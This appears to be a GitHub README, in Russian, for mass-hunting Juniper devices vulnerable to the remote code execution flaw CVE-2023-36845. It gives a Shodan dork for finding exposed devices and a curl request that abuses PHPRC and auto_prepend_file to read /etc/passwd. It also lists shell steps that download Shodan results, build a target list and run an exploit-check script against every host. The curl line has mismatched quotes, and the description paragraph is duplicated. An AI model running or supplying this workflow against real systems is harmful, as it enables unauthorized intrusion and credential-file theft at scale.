jahithoque/juniper-cve-2023-36845-mass-hunting
Juniper RCE (Remote Code Execution) CVE-2023-36845 — это уязвимость, обнаруженная в программном обеспечении Juniper. Данная ошибка позволяет выполнять удалённый код, то есть злоумышленник может запускать произвольный код в системе без необходимости физического доступа к устройству.
Juniper RCE (удаленное выполнение кода) CVE-2023-36845 — это уязвимость, обнаруженная в программном обеспечении Juniper. Эта конкретная ошибка позволяет удаленно выполнять код, то есть злоумышленник может запускать произвольный код в системе без необходимости физического доступа к устройству.
Shodan dork: http.favicon.hash:2141724739
используйте с другими соответствующими dorks, такими как сертификаты SSL, название организации и т.д., для более целенаправленного поиска.
curl -k https://$IP/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"’
└─# shodan download Juniper 'http.favicon.hash:2141724739 ssl:domain.com’ #загрузка из Shodan
└─# shodan parse Juniper.json.gz --fields ip_str,port >unfiltered_IP_Ports.txt
└─# awk '{print $1":"$2}' unfiltered_IP_Ports.txt >juniper-final.txt
└─# ./Juniper-RCE-check.sh -f juniper-final.txt
